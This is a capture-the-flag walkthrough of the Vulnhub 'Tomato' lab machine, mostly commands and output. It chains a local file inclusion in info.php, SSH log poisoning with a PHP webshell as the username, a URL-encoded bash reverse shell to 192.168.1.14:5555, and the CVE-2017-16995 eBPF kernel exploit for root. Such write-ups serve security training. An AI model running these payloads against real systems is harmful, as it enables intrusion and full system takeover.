Vulnhub - Tomato

You can find the machine there > Tomato

Summary

This one was a pretty good one, a bit “advanced”. We start by finding an LFI on info.php page this drive us to a ssh log poisoning attack. After gaining a low-privilege shell we can privesc to root by exploiting an old kernel version. Let’s pwn it! :sunglasses:

Enumeration/Reconnaissance

Let’s start as always with nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ip=192.168.1.16
$ nmap -p- --min-rate 10000 $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-19 13:32 EEST
Nmap scan report for ubuntu.zte.com.cn (192.168.1.16)
Host is up (0.00012s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2211/tcp open  emwin
8888/tcp open  sun-answerbook
MAC Address: 00:0C:29:04:21:BA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.25 seconds
$ nmap -p 21,80,2211,8888 -sC -sV -oN nmap/initial $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-19 13:32 EEST
Nmap scan report for ubuntu.zte.com.cn (192.168.1.16)
Host is up (0.00039s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tomato
2211/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA)
|   256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA)
|_  256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519)
8888/tcp open  http    nginx 1.10.3 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Private Property
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required

Lot of stuff to enumerate, let’s focus on port 80 first. I tried to run gobuster on it but nothing:

1
2
3
$ gobuster dir -q -u http://$ip/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html
/index.html (Status: 200)
/server-status (Status: 403)

Then i had the idea to run dirb on it and it worked, an interesting directory showed up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ dirb http://$ip/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep 19 13:38:33 2020
URL_BASE: http://192.168.1.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.16/ ----
==> DIRECTORY: http://192.168.1.16/antibot_image/         

Has lot of stuff in, but only info.php is useful.

A good practise is always to check the source code of a page, even if it is a php one you never know. info.php has a really interesting comment!

1
<!-- </?php include $_GET['image']; -->

include == LFI Since the super global variable $_GET has the image in the payload will go like that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ curl http://192.168.1.16/antibot_image/antibots/info.php\?image\=../../../../../../../../../etc/passwd             

.. data ..

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
tomato:x:1000:1000:Tomato,,,:/home/tomato:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:109:117:ftp daemon,,,:/srv/ftp:/bin/false

Shell as www-data

I enumerated a lot, but nothing. One thing left, that is log poisoning but we need to be able to read log files. And we can do SSH log poisoning because we can read the /var/log/auth.log!

First we have to login with a php code as username:

1
2
$ ssh '<?php system($_GET["cmd"]);?>'@$ip -p 2211
<?php system($_GET["cmd"]);?>@192.168.1.16's password: 

Now we have command execution:

1
http://192.168.1.16/antibot_image/antibots/info.php?image=../../../../../../../../../var/log/auth.log&cmd=id

In the end we can see this:

1
invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s simply now URL encode our reverse shell and send it. You can use this awesome tool to URL encode/decode from terminal:

1
sudo apt-get install gridsite-clients
1
2
$ urlencode "bash -c 'bash -i >& /dev/tcp/192.168.1.14/5555 0>&1'"
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.14%2F5555%200%3E%261%27
1
http://192.168.1.16/antibot_image/antibots/info.php?image=../../../../../../../../../var/log/auth.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.14%2F5555%200%3E%261%27

We have shell!

1
2
3
4
$ nc -lvp 5555
listening on [any] 5555 ...
www-data@ubuntu:/var/www/html/antibot_image/antibots$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html/antibot_image/antibots$ 

Shell as root

I noticed that kernel is pretty old:

1
2
www-data@ubuntu:/$ uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Let’s fire up linux exploit suggester :fire:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@ubuntu:/tmp$ wget -q https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
www-data@ubuntu:/tmp$ bash linux-exploit-suggester.sh

..data..

[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

This one seems good, but system haven’t gcc installed so let’s download and compile it on our box and then transfer it.

1
2
3
4
$ wget -q https://www.exploit-db.com/download/45010 -O root.c
$ gcc root.c -o root
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@ubuntu:/tmp$ wget -q http://192.168.1.14/root                                                                                
www-data@ubuntu:/tmp$ chmod +x root
www-data@ubuntu:/tmp$ ./root
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8800356b2200
[*] Leaking sock struct from ffff88003b71a580
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff8800325b92c0
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8800325b92c0
[*] credentials patched, launching shell...
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Let’s read the flag.

1
2
# cat proof.txt
Sun_CSR_TEAM_TOMATO_JS_0232xx23

What an awesome box!!! :smile: